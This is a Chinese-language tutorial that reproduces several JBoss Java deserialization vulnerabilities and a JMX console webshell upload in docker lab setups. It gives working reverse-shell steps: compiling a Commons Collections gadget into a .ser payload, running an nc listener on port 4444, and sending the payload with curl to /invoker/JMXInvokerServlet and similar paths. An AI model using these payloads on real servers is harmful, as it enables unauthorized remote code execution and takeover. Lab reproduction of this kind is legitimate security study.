簡介

JBoss是一個基于J2EE的開放源代碼應用服務器，代碼遵循LGPL許可，可以在任何商業應用中免費使用；JBoss也是一個管理EJB的容器和服務器，支持EJB 1.1、EJB 2.0和EJB3規范。但JBoss核心服務不包括支持servlet/JSP的WEB容器，一般與Tomcat或Jetty綁定使用。在J2EE應用服務器領域，JBoss是發展最為迅速的應用服務器。由于JBoss遵循商業友好的LGPL授權分發，并且由開源社區開發，這使得JBoss廣為流行。

CVE-2017-12149

JBOSSApplication Server反序列化命令執行漏洞(CVE-2017-12149)，遠程攻擊者利用漏洞可在未經任何身份驗證的服務器主機上執行任意代碼。

漏洞原理

該漏洞為 Java反序列化錯誤類型，存在于 Jboss 的 HttpInvoker 組件中的 ReadOnlyAccessFilter 過濾器中沒有進行任何安全檢查的情況下嘗試將來自客戶端的數據流進行反序列化，從而導致了漏洞。

首先需要了解Java的序列化和反序列化。Java序列化就是指把Java對象轉換為字節序列的過程，在傳遞和保存對象時.保證對象的完整性和可傳遞性。對象轉換為有序字節流,以便在網絡上傳輸或者保存在本地文件中。Java反序列化就是指把字節序列恢復為Java對象的過程，根據字節流中保存的對象狀態及描述信息，通過反序列化重建對象。

用代碼看就是：

序列化：

FileOutputStream fos = newFileOutputStream(file); 
ObjectOutputStream oos = newObjectOutputStream(fos); 
oos.writeObject(st);

反序列化:

FileInputStream fis = newFileInputStream(file); 
ObjectInputStream ois = newObjectInputStream(fis); 
Student st1 = (Student) ois.readObject();

CVE-2017-12149的漏洞出現在HttpInvoker組件中的ReadOnlyAccessFilter過濾器中，源碼在jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目錄下的ReadOnlyAccessFilter.class文件中,其中doFilter函數代碼如下

可以看出它從http中獲取數據，通過調用readobject()方法對數據流進行反序列操作，但是沒有進行檢查或者過濾。這就造成了JBoss中invoker/JMXInvokerServlet路徑對外開放，而且JBoss的jmx組件支持Java反序列化

漏洞復現

首先進入CVE-2017-12149的docker環境

cd jboss
ls
cd CVE-2017-12149
sudo docker-compose up -d
docker ps

訪問http://192.168.1.8:8080/invoker/readonly，若返回如下界面則存在漏洞

這里需要用到javac進行編譯ser文件，所以首先安裝java環境

cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version

可以看到這里javac環境已經存在

利用反序列化工具CVE-2015-7501：https://github.com/ianxtianxt/CVE-2015-7501/，這里使用的反序列化工具對于CVE-2017-12149和CVE-2015-7501兩個漏洞都可以進行利用，總體上都是利用java的反序列化

這里我git這個工具一直git不下來，就找了個實戰的環境打了碼，原理跟docker復現是一樣的

首先使用java編譯ser文件

javac -cp .:commons-collections-3.2.1.jar
ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jarReverseShellCommonsCollectionsHashMap192.168.1.192:4444（IP是攻擊機ip,4444是要監聽的端口)

這個時候在這個目錄下生成了一個ReverseShellCommonsCollectionsHashMap.ser文件

這個時候我們還需要使用nc來監聽一個端口來接受反彈shell

再使用一個curl去請求反彈建立連接，就能夠得到一個反彈shell

curl http://目標機ip:port/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

CVE-2015-7501

JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)，JBoss在/invoker/JMXInvokerServlet請求中讀取了用戶傳入的對象，然后我們利用Apache Commons Collections中的Gadget執行任意代碼。

漏洞原理

跟之前的CVE-2017-12149漏洞相似，都是使用了java的反序列化，該漏洞為 Java反序列化錯誤類型，存在于 Jboss 的 HttpInvoker 組件中的 ReadOnlyAccessFilter 過濾器中沒有進行任何安全檢查的情況下嘗試將來自客戶端的數據流進行反序列化，JBoss在/invoker/JMXInvokerServlet請求中讀取了用戶傳入的對象，從而導致了漏洞。

漏洞復現

進入CVE-2015-7501的docker環境，這里在vlunhub里面是直接用JMXInvokerServlet命名漏洞環境

訪問http://192.168.1.8:8080/invoker/JMXInvokerServlet彈出對話框則存在漏洞

使用nc監聽4444端口，然后跟CVE-2017-12149一樣使用java編譯生成一個ser文件執行，使用nc監聽端口即可得到反彈shell

nc -lvp 4444
curl http://192.168.112.148:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

CVE-2017-7504

CVE-2017-7504為JBossMQ JMS 反序列化漏洞

漏洞原理

CVE-2017-7504漏洞與CVE-2015-7501的漏洞原理相似，只是利用的路徑稍微出現了變化，CVE-2017-7504出現在/jbossmq-httpil/HTTPServerILServlet路徑下。JBoss AS 4.x及之前版本中，JbossMQ實現過程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java?件存在反序列化漏洞，遠程攻擊者可借助特制的序列化數據利?該漏洞執?任意代碼

漏洞復現

進入CVE-2017-7504的漏洞docker環境

訪問http://192.168.1.10:8080/jbossmq-httpil/HTTPServerILServlet，若出現如下界面則存在漏洞

使用nc打開端口監聽，再用之前生成的.ser文件，通過POST二進制數據上去，使用nc監聽端口，即可拿到shell

nc -lvp 4444
curl http://192.168.112.148:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

CVE-2007-1036

CVE-2007-1036即JMX Console HtmlAdaptor Getshell，因為JBoss中/jmx-console/HtmlAdaptor路徑對外開放，并且沒有任何身份驗證機制，導致攻擊者可以進入到jmx控制臺，并在其中執行任何功能

漏洞原理

該漏洞利用的是后臺中jboss.admin -> DeploymentFileRepository -> store()方法，通過向四個參數傳入信息，達到上傳shell的目的，其中arg0傳入的是部署的war包名字，arg1傳入的是上傳的文件的文件名，arg2傳入的是上傳文件的文件格式，arg3傳入的是上傳文件中的內容。通過控制這四個參數即可上傳shell，控制整臺服務器，arg1和arg2可以進行文件的拼接，例如arg1=she，arg2=ll.jsp。這個時候服務器還是會進行拼接，將shell.jsp傳入到指定路徑下